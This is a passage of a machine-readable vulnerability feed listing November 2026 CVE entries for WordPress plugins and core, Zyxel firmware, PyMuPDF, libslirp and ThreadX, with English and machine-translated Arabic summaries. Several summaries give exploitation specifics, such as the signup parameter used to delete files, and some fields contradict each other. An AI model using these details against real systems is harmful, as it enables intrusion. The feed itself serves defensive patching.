REST."},"refs":[["https://plugins.trac.wordpress.org/browser/easy-digital-downloads/tags/3.7.0/includes/customers/customer-actions.php#L49","ref"],["https://plugins.trac.wordpress.org/browser/easy-digital-downloads/tags/3.7.0/includes/gateways/paypal/checkout-actions.php#L681","ref"],["https://plugins.trac.wordpress.org/browser/easy-digital-downloads/tags/3.7.0/includes/orders/functions/orders.php#L798","ref"],["https://plugins.trac.wordpress.org/browser/easy-digital-downloads/tags/3.7.0/includes/user-functions.php#L428","ref"],["https://plugins.trac.wordpress.org/browser/easy-digital-downloads/tags/3.7.0/src/Gateways/PayPal/V3/PurchaseUser.php#L174","ref"],["https://wordpress.org/plugins/easy-digital-downloads/","ref"],["https://www.wordfence.com/threat-intel/vulnerabilities/id/f4250328-6d6c-4eb1-9ef2-334774c1d337?source=cve","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"smub-easy-digital-downloads"},{"id":"CVE-2026-120518","cvss":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","cwe":"CWE-22","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T05:18:31Z","product":"kalengi BuddyPress XProfile Custom Image Field","affected":[["0 – 3.1.0",null]],"title":{"en":"BuddyPress XProfile Image Field <= 3.1.0 - Unauthenticated Arbitrary File Deletion via Signup Image Field Activation Handler","ar":"إضافة BuddyPress XProfile Image Field <= 3.1.0 - حذف ملفات عشوائية دون مصادقة عبر معالج تفعيل حقل صورة التسجيل"},"summary":{"en":"The BuddyPress XProfile Image Field plugin for WordPress is vulnerable to arbitrary file deletion in all versions up to, and including, 3.1.0. This is due to bpxp_image_field_update_on_user_activation() calling unlink() on a path built from visitor-supplied signup metadata with no realpath() resolution, no containment check against the profile-image directory and no extension allow-list. Submitting a zero-byte file with the 'field_N_hidden' parameter during registration makes the plugin store the raw value, which is then resolved against the document root when the pending signup is activated. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file (such as wp-config.php) is deleted. Requires open registration and an image-type profile field on the signup form.","ar":"إضافة BuddyPress XProfile Image Field لنظام WordPress مصابة بثغرة حذف ملفات عشوائية في جميع الإصدارات حتى 3.1.0 ضمناً. يعود هذا إلى استدعاء دالة bpxp_image_field_update_on_user_activation() لـ unlink() على مسار مُنشأ من بيانات التسجيل الوصفية المُقدّمة من الزائر بدون تحليل realpath()، ودون التحقق من الاحتواء ضد دليل صور الملف الشخصي، ودون قائمة سماح للامتدادات. يؤدي إرسال ملف بحجم صفر بايت مع معامل 'field_N_hidden' أثناء التسجيل إلى قيام الإضافة بتخزين القيمة الخام، والتي يتم حلها بعد ذلك مقابل الجذر المستند عند تفعيل التسجيل المعلق. يتيح هذا للمهاجمين دون مصادقة حذف ملفات عشوائية على الخادم، مما قد يؤدي بسهولة إلى تنفيذ أوامر عن بُعد عند حذف الملف الصحيح (مثل wp-config.php). يتطلب ذلك فتح باب التسجيل ووجود حقل ملف شخصي من نوع صورة في نموذج التسجيل."},"refs":[["https://nvd.nist.gov/vuln/detail/CVE-2025-48158","ref"],["https://plugins.trac.wordpress.org/browser/buddypress-xprofile-image-field/tags/3.1.0/bp-xprofile-image-field.php#L488","ref"],["https://plugins.trac.wordpress.org/browser/buddypress-xprofile-image-field/tags/3.1.0/bp-xprofile-image-field.php#L494","ref"],["https://plugins.trac.wordpress.org/browser/buddypress-xprofile-image-field/tags/3.1.0/bp-xprofile-image-field.php#L507","ref"],["https://plugins.trac.wordpress.org/browser/buddypress-xprofile-image-field/tags/3.1.0/bp-xprofile-image-field.php#L526","ref"],["https://plugins.trac.wordpress.org/browser/buddypress-xprofile-image-field/tags/3.1.0/bp-xprofile-image-field.php#L587","ref"],["https://www.wordfence.com/threat-intel/vulnerabilities/id/1a53bcf5-61ed-427c-9efd-29c9309d2426?source=cve","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"kalengi-buddypress-xprofile-custom-image-field"},{"id":"CVE-2026-120534","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-434","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T05:18:31Z","product":"ACF Extended Advanced Custom Fields: Extended PRO","affected":[["0 – 0.9.2.6",null]],"title":{"en":"Advanced Custom Fields: Extended PRO <= 0.9.2.6 - Unauthenticated Remote Code Execution via Dynamic Render Field Type","ar":"ثغرة حرجة في ACF Extended Advanced Custom Fields: Extended PRO"},"summary":{"en":"The Advanced Custom Fields: Extended PRO plugin for WordPress is vulnerable to Limited Code Injection in all versions up to, and including, 0.9.2.6 via the render_field function. This is due to insufficient validation of form configuration parameters before merging into field settings and passing to call_user_func_array in the render_field method. This makes it possible for unauthenticated attackers to call arbitrary WordPress functions with controlled arguments. Method 1 requires the administrator to enable the non-default 'shortcode_preview' setting for the target form, while Method 2 requires the server environment to lack OpenSSL functions, causing ACF Pro's acf_decrypt to fall back to unverified base64 decoding.","ar":"The Advanced Custom Fields: Extended PRO plugin for WordPress is vulnerable to Limited Code Injection in all versions up to, and including, 0.9.2.6 via the render_field function. This is due to insufficient validation of form configuration parameters before merging into field settings and passing to call_user_func_array in the render_field method. This makes it possible for unauthenticated attackers to call arbitrary WordPress functions with controlled arguments. Method 1 requires the administrator to enable the non-default 'shortcode_preview' setting for the target form, while Method 2 requires the server environment to lack OpenSSL functions, causing ACF Pro's acf_decrypt to fall back to unverified base64 decoding."},"refs":[["https://www.acf-extended.com/changelog","ref"],["https://www.wordfence.com/threat-intel/vulnerabilities/id/b8a7a925-2b9e-43bc-b649-c7ec518e063c?source=cve","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"acf-extended-advanced-custom-fields-extended-pro"},{"id":"CVE-2026-77799","cvss":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","cwe":"CWE-288","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T04:57:12Z","product":"Zohocorp ManageEngine Key Manager Plus","affected":[["0 – <7151","7151"]],"title":{"en":"Two-factor authentication bypass","ar":"تجاوز المصادقة ثنائية العوامل"},"summary":{"en":"ManageEngine Key Manager Plus versions before 7150 are vulnerable to a Two-Factor Authentication bypass that allows attackers with valid credentials to log in without a verification code.","ar":"تُعد إصدارات ManageEngine Key Manager Plus التي تسبق الإصدار 7150 معرضة لثغرة تجاوز المصادقة ثنائية العوامل (Two-Factor Authentication)، مما يسمح للمهاجمين الذين يمتلكون بيانات اعتماد صالحة بتسجيل الدخول دون رمز التحقق."},"refs":[["https://www.manageengine.com/key-manager/advisory/cve-2026-77799.html","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"zohocorp-manageengine-key-manager-plus"},{"id":"CVE-2026-76955","cvss":8.8,"vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-120","tags":["LPE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T01:54:55Z","product":"Zyxel NWA110AX firmware","affected":[],"title":{"en":"A buffer overflow vulnerability in the zdp_wtp binary in Zyxel NWA110AX firmware versions through 7.12(ABTG.0)C0 could allow a LAN-based attacker to e","ar":"قد تسمح ثغرة فيضان المخزن المؤقت في الملف الثنائي zdp_wtp في إصدارات البرامج الثابتة لـ Zyxel NWA110AX حتى 7.12(ABTG.0)C0 لمهاجم عبر شبكة LAN بـ"},"summary":{"en":"A buffer overflow vulnerability in the zdp_wtp binary in Zyxel NWA110AX firmware versions through 7.12(ABTG.0)C0 could allow a LAN-based attacker to escalate privileges on an affected device.","ar":"قد تسمح ثغرة فيضان المخزن المؤقت في الملف الثنائي zdp_wtp في إصدارات البرامج الثابتة لـ Zyxel NWA110AX حتى 7.12(ABTG.0)C0 لمهاجم عبر شبكة LAN بتصعيد الصلاحيات على الجهاز المتأثر."},"refs":[["https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-buffer-overflow-vulnerability-in-certain-aps-fwa7-and-security-routers-11-03-2026","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"zyxel-nwa110ax-firmware"},{"id":"CVE-2026-107441","cvss":8.8,"vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T01:41:52Z","product":"Zyxel GS1900-24E firmware","affected":[],"title":{"en":"An out-of-bounds write vulnerability in the CGI program of Zyxel GS1900-24E firmware versions through 2.90(AAHK.2)C0 could allow an unauthenticated ad","ar":"ثغرة كتابة خارج النطاق في برنامج CGI الخاص ببرامج الثابتة لجهاز Zyxel GS1900-24E إصدارات 2.90(AAHK.2)C0 وما قبلها يمكن أن تسمح لمهاجم مجاور دون مصادقة"},"summary":{"en":"An out-of-bounds write vulnerability in the CGI program of Zyxel GS1900-24E firmware versions through 2.90(AAHK.2)C0 could allow an unauthenticated adjacent attacker to exploit the flaw and potentially execute OS commands via a crafted HTTP request.","ar":"ثغرة كتابة خارج النطاق في برنامج CGI الخاص ببرامج الثابتة لجهاز Zyxel GS1900-24E إصدارات 2.90(AAHK.2)C0 وما قبلها يمكن أن تسمح لمهاجم مجاور دون مصادقة باستغلال العيب ومن المحتمل تنفيذ أوامر نظام التشغيل عبر طلب HTTP مصمم خصيصًا."},"refs":[["https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-out-of-bounds-write-vulnerability-in-gs1900-series-switches-11-03-2026","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"zyxel-gs1900-24e-firmware"},{"id":"CVE-2026-120833","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-502","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T01:16:52Z","product":"NIST labbench","affected":[["0 – <0.46.1","0.46.1"]],"title":{"en":"labbench before 0.46.1 Deserialization of Untrusted Data via read() Pickle Auto-Dispatch","ar":"labbench النسخ قبل 0.46.1: إلغاء تسلسل بيانات غير موثوقة عبر read() في التضمين التلقائي لـ Pickle"},"summary":{"en":"labbench before 0.46.1 contains a deserialization of untrusted data vulnerability in read() and read_relational() that passes any file with a .p or .pickle extension to pandas.read_pickle based on the extension alone. Attackers who supply a crafted data file or relational data archive can execute arbitrary code when a user loads it with these functions.","ar":"يحتوي labbench في النسخ قبل 0.46.1 على ثغرة إلغاء تسلسل بيانات غير موثوقة في read() و read_relational()، حيث يتم تمرير أي ملف يمتلك امتداد .p أو .pickle إلى pandas.read_pickle بناءً على الامتداد وحده. يمكن للمهاجمين الذين يوفرون ملف بيانات معدلاً أو أرشيف بيانات علائقية تنفيذ شيفرة عشوائية عندما يقوم المستخدم بتحميله باستخدام هذه الدوال."},"refs":[["https://github.com/usnistgov/labbench/commit/ac9b9b18cba67cb8e85eb563b6bb7dc1092b4c54","patch"],["https://github.com/usnistgov/labbench/pull/32","patch"],["https://www.vulncheck.com/advisories/labbench-before-0.46.1-deserialization-of-untrusted-data-via-read-pickle-auto-dispatch","advisory"],["https://github.com/usnistgov/labbench","ref"],["https://github.com/usnistgov/labbench/blob/0.46.0/src/labbench/_data.py#L1664-L1666","ref"],["https://github.com/usnistgov/labbench/blob/0.46.1/ChangeLog.md","ref"],["https://pypi.org/project/labbench/0.46.1/","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"nist-labbench"},{"id":"CVE-2026-120830","cvss":7.4,"vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","cwe":"CWE-125","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T00:17:18Z","product":"Red Hat Red Hat Enterprise Linux 10","affected":[],"title":{"en":"Libslirp: libslirp: out-of-bounds heap read in icmp_forward_error() leading to information disclosure","ar":"Libslirp: libslirp: قراءة من الذاكرة الديناميكية (heap) خارج الحدود في دالة icmp_forward_error() تؤدي إلى كشف المعلومات"},"summary":{"en":"A flaw was found in libslirp in icmp_forward_error(). When building an ICMP error response, the length of the quoted original IPv4 packet was taken from the IP header without clamping it to the actual buffer length. A truncated or malformed packet could cause an out-of-bounds heap read, leaking host memory into the ICMP error packet returned to a guest or container.","ar":"تم اكتشاف ثغرة في libslirp ضمن دالة icmp_forward_error(). عند بناء استجابة خطأ ICMP، تم أخذ طول حزمة IPv4 الأصلية المقتبسة من ترويسة IP دون تقييدها بطول المخزن المؤقت الفعلي. قد تتسبب حزمة مبتورة أو مصممة بشكل سيء في حدوث قراءة من الذاكرة الديناميكية خارج الحدود، مما يؤدي إلى تسريب ذاكرة المضيف داخل حزمة خطأ ICMP المُعادة إلى نظام ضيف أو حاوية."},"refs":[["https://access.redhat.com/security/cve/CVE-2026-120830","ref"],["https://bugzilla.redhat.com/show_bug.cgi?id=2565424","ref"],["https://gitlab.freedesktop.org/slirp/libslirp/-/commit/21b33a6c5588af9f58d15e528fdc1019452708e4","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"red-hat-enterprise-linux"},{"id":"CVE-2026-119977","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-367","tags":["RCE"],"zero":false,"exploited":true,"status":"unknown","published":"2026-11-03T00:00:00Z","product":"WordPress Foundation WordPress","affected":[["4.7.0 – 4.7.38",null],["4.8.0 – 4.8.33",null],["4.9.0 – 4.9.34",null],["5.0.0 – 5.0.30",null],["5.1.0 – 5.1.27",null],["5.2.0 – 5.2.29",null],["5.3.0 – 5.3.26",null],["5.4.0 – 5.4.24",null],["5.5.0 – 5.5.23",null],["5.6.0 – 5.6.22",null],["5.7.0 – 5.7.20",null],["5.8.0 – 5.8.18",null]],"title":{"en":"WordPress WordPress Core Time-of-check Time-of-use (TOCTOU) Race Condition Vulnerability","ar":"ثغرة حالة تنافس وقت التحقق ووقت الاستخدام (TOCTOU) في نواة WordPress WordPress Core"},"summary":{"en":"WordPress Core is vulnerable to Remote Code Execution in versions 4.7 through 7.1.3. This is due to predictable, web-accessible staging paths used during full-package core upgrades. This makes it possible for unauthenticated attackers to execute code on the server during the upgrade window.","ar":"نواة WordPress Core معرضة لخطر تنفيذ أوامر عن بُعد في الإصدارات من 4.7 حتى 7.1.3. يرجع هذا إلى مسارات التقسيم المؤقتة القابلة للتنبؤ والتي يمكن الوصول إليها عبر الويب والمستخدمة أثناء ترقيات النواة للحزمة الكاملة. هذا يجعل من الممكن للمهاجمين دون مصادقة تنفيذ شيفرة على الخادم خلال نافذة الترقية."},"refs":[["https://wordpress.org/news/2026/10/wordpress-7-1-4","advisory"],["https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-core/wordpress-core-470-713-unauthenticated-upgrade-window-staged-installer-remote-code-execution","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-119977","advisory"],["https://core.trac.wordpress.org/browser/tags/7.1.3/src/wp-admin/includes/class-core-upgrader.php#L162","ref"],["https://core.trac.wordpress.org/browser/tags/7.1.3/src/wp-admin/includes/class-wp-upgrader.php#L378","ref"],["https://core.trac.wordpress.org/browser/tags/7.1.3/src/wp-admin/includes/update-core.php#L1549","ref"],["https://core.trac.wordpress.org/browser/tags/7.1.3/src/wp-admin/setup-config.php#L282","ref"],["https://core.trac.wordpress.org/browser/tags/7.1.4/src/wp-admin/includes/class-wp-upgrader.php#L346","ref"],["https://core.trac.wordpress.org/browser/tags/7.1.4/src/wp-admin/includes/update-core.php#L1545","ref"],["https://wordpress.org/news/2026/10/wordpress-7-1-4/","ref"]],"epss":0.006,"kevAdded":"2026-11-03T00:00:00Z","kevDue":"2026-11-06T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المصنّع، مما يضمن الامتثال لتوجيهات توجيه CISA رقم BOD 26-04 بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر (انظر عنوان URL في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA (انظر عنوان URL في الملاحظات). اتبع إرشادات BOD 26-04 المعمول بها لخدمات السحابة أو توقف عن استخدام المنتج في حال تعذر توفر إجراءات التخفيف. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصول للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات لـ BOD 26-04.","machineTranslated":true,"productSlug":"wordpress"},{"id":"CVE-2026-38600","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-22","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T00:00:00Z","product":"Unknown product","affected":[],"title":{"en":"A Zip Slip vulnerability in the /upload endpoint of codeskyblue gohttpserver through v1.3.0 allows attackers to write arbitrary files via uploading a ","ar":"ثغرة Zip Slip في نقطة النهاية /upload في منتج codeskyblue gohttpserver حتى الإصدار v1.3.0 تتيح للمهاجمين كتابة ملفات عشوائية عبر رفع أرشيف Zip"},"summary":{"en":"A Zip Slip vulnerability in the /upload endpoint of codeskyblue gohttpserver through v1.3.0 allows attackers to write arbitrary files via uploading a crafted Zip archive.","ar":"توجد ثغرة Zip Slip في نقطة النهاية /upload في منتج codeskyblue gohttpserver حتى الإصدار v1.3.0 تتيح للمهاجمين كتابة ملفات عشوائية عبر رفع أرشيف Zip مصمم خصيصاً."},"refs":[["https://security.snyk.io/research/zip-slip-vulnerability","ref"],["https://github.com/codeskyblue/gohttpserver","ref"],["https://github.com/codeskyblue/gohttpserver/issues/232","ref"],["https://github.com/Den-Sec/security-research/blob/master/advisories/gohttpserver/VDR-001-zipslip.md","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-71450","cvss":8.7,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","cwe":"CWE-288","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T22:49:00Z","product":"Johnson Controls EasyIO Neo EC and CW Edge Controller","affected":[],"title":{"en":"Authentication bypass using an alternate path or channel vulnerability in Johnson Controls EasyIO Neo EC and CW Edge Controller allows Authentication ","ar":"ثغرة تجاوز المصادقة باستخدام مسار أو قناة بديلة في Johnson Controls EasyIO Neo EC and CW Edge Controller تسمح بتجاوز المصادقة"},"summary":{"en":"Authentication bypass using an alternate path or channel vulnerability in Johnson Controls EasyIO Neo EC and CW Edge Controller allows Authentication Bypass. This issue affects EasyIO Neo EC and CW Edge Controller: from EC 3.3b62 through EC 3.3b63 and from CW 3.3b24 through CW 3.3b25.","ar":"تتيح ثغرة تجاوز المصادقة باستخدام مسار أو قناة بديلة في Johnson Controls EasyIO Neo EC and CW Edge Controller إمكانية تجاوز المصادقة. تؤثر هذه المشكلة على EasyIO Neo EC وCW Edge Controller: من الإصدار EC 3.3b62 حتى EC 3.3b63 ومن الإصدار CW 3.3b24 حتى CW 3.3b25."},"refs":[["https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories","ref"]],"epss":0.0028,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"johnson-controls-easyio-neo-ec-and-cw-edge-controller"},{"id":"CVE-2026-115403","cvss":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-252","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T22:17:18Z","product":"Eclipse Foundation Eclipse ThreadX","affected":[["6.0 – 6.5.2.202603a",null]],"title":{"en":"NULL pointer dereference in the BSD raw IPv6 send path when the destination table is full","ar":"إلغاء مرجع المؤشر NULL في مسار إرسال BSD raw IPv6 عندما يكون جدول الوجهات ممتلئاً"},"summary":{"en":"In Eclipse ThreadX NetX Duo versions 6.0 through 6.5.2.202603a, built with BSD raw socket and IPv6 support, the IPv6 raw send path uses the destination-table entry it adds without checking that the add succeeded. When the destination table is full and an off-link destination is reached through a default router whose neighbour cache entry is unknown, sending on an IPv6 raw socket with header inclusion dereferences a NULL pointer; a remote sender can fill the table, for example with ICMPv6 Packet Too Big messages, and crash the sending thread.","ar":"في الإصدارات من 6.0 حتى 6.5.2.202603a من Eclipse ThreadX NetX Duo، المبنية مع ميزة مقابس BSD الخام ودعم IPv6، يستخدم مسار إرسال IPv6 الخام مُدخل جدول الوجهات الذي يضيفه دون التحقق من نجاح الإضافة. عندما يكون جدول الوجهات ممتلئاً ويتم الوصول إلى وجهة خارج الرابط عبر موجه افتراضي يكون مُدخل مخزن المؤشرات المجاورة له غير معروف، فإن الإرسال على مقبس IPv6 خام مع تضمين الترويسة يلغي مرجع مؤشر NULL؛ ويمكن لمُرسل عن بُعد ملء الجدول، على سبيل المثال عبر رسائل ICMPv6 Packet Too Big، وتنسيق خيط الإرسال."},"refs":[["https://github.com/eclipse-threadx/netxduo/security/advisories/GHSA-9w9h-x3fh-m3fp","ref"],["https://gitlab.eclipse.org/security/cve-assignment/-/work_items/500","ref"]],"epss":0.0032,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"eclipse-foundation-eclipse-threadx"},{"id":"CVE-2026-120752","cvss":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-121","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T22:16:12Z","product":"PyMuPDF PyMuPDF","affected":[["1.25.3 – <2.0","2.0"]],"title":{"en":"PyMuPDF 1.25.3 before 2.0 Stack Buffer Overflow via add_freetext_annot() Callout","ar":"فيضان المخزن المؤقت للمكدس في PyMuPDF 1.25.3 قبل الإصدار 2.0 عبر استدعاء add_freetext_annot()"},"summary":{"en":"PyMuPDF 1.25.3 before 2.0 contains a stack-based buffer overflow vulnerability in JM_set_annot_callout_line() that copies a caller-supplied number of callout points into a fixed three-element stack array. Attackers who control the callout argument passed to Page.add_freetext_annot() can supply four or more points to overwrite the stack frame, crashing the process or executing code.","ar":"يحتوي PyMuPDF الإصدار 1.25.3 قبل 2.0 على ثغرة فيضان مخزن مؤقت مستندة إلى المكدس في JM_set_annot_callout_line() والتي تنسخ عددًا يحدده المتصل من نقاط الاستدعاء إلى مصفوفة مكدس ثابتة مكونة من ثلاثة عناصر. يمكن للمهاجمين الذين يتحكمون في وسطة الاستدعاء المُمررة إلى Page.add_freetext_annot() توفير أربع نقاط أو أكثر للكتابة فوق إطار المكدس، مما يؤدي إلى تعطل العملية أو تنفيذ شيفرة."},"refs":[["https://github.com/pymupdf/PyMuPDF/commit/d4298ead84ceeae1c9065c81cd9a275a1b092f5e","patch"],["https://www.vulncheck.com/advisories/pymupdf-1.25.3-before-2.0-stack-buffer-overflow-via-add-freetext-annot-callout","advisory"],["https://github.com/pymupdf/PyMuPDF/issues/5112","ref"],["https://github.com/pymupdf/PyMuPDF/issues/5173","ref"],["https://github.com/pymupdf/PyMuPDF/blob/1.28.2/src/extra.i#L787-L797","ref"],["https://github.com/pymupdf/PyMuPDF/releases/tag/2.0","ref"],["https://github.com/pymupdf/PyMuPDF","ref"]],"epss":0.0037,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"pymupdf"},{"id":"CVE-2026-115215","cvss":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-770","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T21:43:53Z","product":"Eclipse Foundation Eclipse ThreadX","affected":[["6.0 – 6.5.2.202603a",null]],"title":{"en":"NetX Secure DTLS server allocates a session for each new source before the cookie exchange and never reclaims it, so spoofed datagrams exhaust the session pool","ar":"خادم NetX Secure DTLS يخصص جلسة لكل مصدر جديد قبل تبادل ملف تعريف الارتباط (cookie) ولا يستردها أبدًا، مما يؤدي إلى استنفاد حوض الجلسات بواسطة حزم بيانات مزيفة"},"summary":{"en":"In Eclipse ThreadX NetX Duo versions 6.0 through 6.5.2.202603a, the NetX Secure DTLS server allocates a session from its fixed session pool for the first datagram from any unrecognised address and port, before the cookie exchange, and never releases a session whose handshake stalls. A remote, unauthenticated attacker can exhaust the pool with one spoofed datagram per source and deny DTLS service to legitimate clients until the application resets the sessions.","ar":"في إصدارات Eclipse ThreadX NetX Duo من 6.0 وحتى 6.5.2.202603a، يخصص خادم NetX Secure DTLS جلسة من حوض الجلسات الثابت الخاص به لأول حزمة بيانات من أي عنوان ومنفذ غير معروفين، وذلك قبل تبادل ملف تعريف الارتباط، ولا يحرر أبدًا الجلسة التي يتعثر مصافحتها. يمكن لمهاجم عن بُعد ودون مصادقة استنفاد حوض الجلسات باستخدام حزمة بيانات مزيفة واحدة لكل مصدر وحجب خدمة DTLS عن العملاء الشرعيين حتى يقوم التطبيق بإعادة ضبط الجلسات."},"refs":[["https://github.com/eclipse-threadx/netxduo/security/advisories/GHSA-3p2g-x7hh-3w4c","ref"],["https://gitlab.eclipse.org/security/cve-assignment/-/work_items/487","ref"]],"epss":0.0041,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"eclipse-foundation-eclipse-threadx"},{"id":"CVE-2026-86596","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-94","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T21:30:23Z","product":"clavaque s2Member – Excellent for All Kinds of Memberships, Content Restriction Paywalls…","affected":[["0 – 260927",null]],"title":{"en":"s2Member <= 260927 - Unauthenticated Remote Code Execution via 'item_name' IPN Parameter","ar":"إضافة s2Member إصدار <= 260927 - تنفيذ أوامر عن بُعد دون مصادقة عبر وسيط IPN باسم 'item_name'"},"summary":{"en":"The s2Member plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, <= 260927 via the 'item_name' parameter parameter. This is due to insufficient sanitization in strip_php_tags_deep(), which only strips literal '<?' sequences, combined with a post-interpolation placeholder cleanup that reassembles a valid '<?php' opener after the attacker-controlled value has already been embedded in the email template. This makes it possible for authenticated attackers, with custom-level access and above, to execute code on the server.","ar":"إضافة s2Member لموقع WordPress معرضّة لثغرة تنفيذ أوامر عن بُعد في جميع الإصدارات لغاية 260927 متضمنةً إياها عبر وسيط 'item_name'. يرجع هذا إلى عدم كفاية تنقية المدخلات في strip_php_tags_deep()، والتي تزيل فقط تسلسلات '<?' الحرفية، مجتمعة مع عملية تنظيف لاحقة تعيد تركيب بادئة '<?php' صالحة بعد تضمين القيمة التي يتحكم بها المهاجم بالفعل في قالب البريد الإلكتروني. هذا يجعل من الممكن لمهاجم يملك حسابًا مصادقًا عليه، بصلاحيات مستوى مخصص أو أعلى، تنفيذ شيفرة على الخادم."},"refs":[["https://www.wordfence.com/threat-intel/vulnerabilities/id/bbe64cd3-c5ca-4867-90de-4784510a1126?source=cve","ref"],["https://plugins.trac.wordpress.org/browser/s2member/tags/260829/src/includes/classes/utilities.inc.php#L49","ref"],["https://plugins.trac.wordpress.org/browser/s2member/tags/260829/src/includes/classes/paypal-notify-in-web-accept-sp.inc.php#L138","ref"],["https://plugins.trac.wordpress.org/browser/s2member/tags/260829/src/includes/classes/paypal-notify-in-web-accept-sp.inc.php#L131","ref"],["https://plugins.trac.wordpress.org/browser/s2member/tags/260829/src/includes/classes/paypal-notify-in-web-accept-sp.inc.php#L104","ref"],["https://plugins.trac.wordpress.org/browser/s2member/tags/260829/src/includes/classes/utils-strings.inc.php#L201","ref"],["https://plugins.trac.wordpress.org/browser/s2member/tags/260829/src/includes/classes/paypal-notify-in.inc.php#L49","ref"],["https://plugins.trac.wordpress.org/browser/s2member/tags/260829/src/includes/classes/paypal-notify-in-subscr-or-wa-w-level.inc.php#L514","ref"],["https://plugins.trac.wordpress.org/changeset/3722434/s2member","ref"]],"epss":0.0149,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":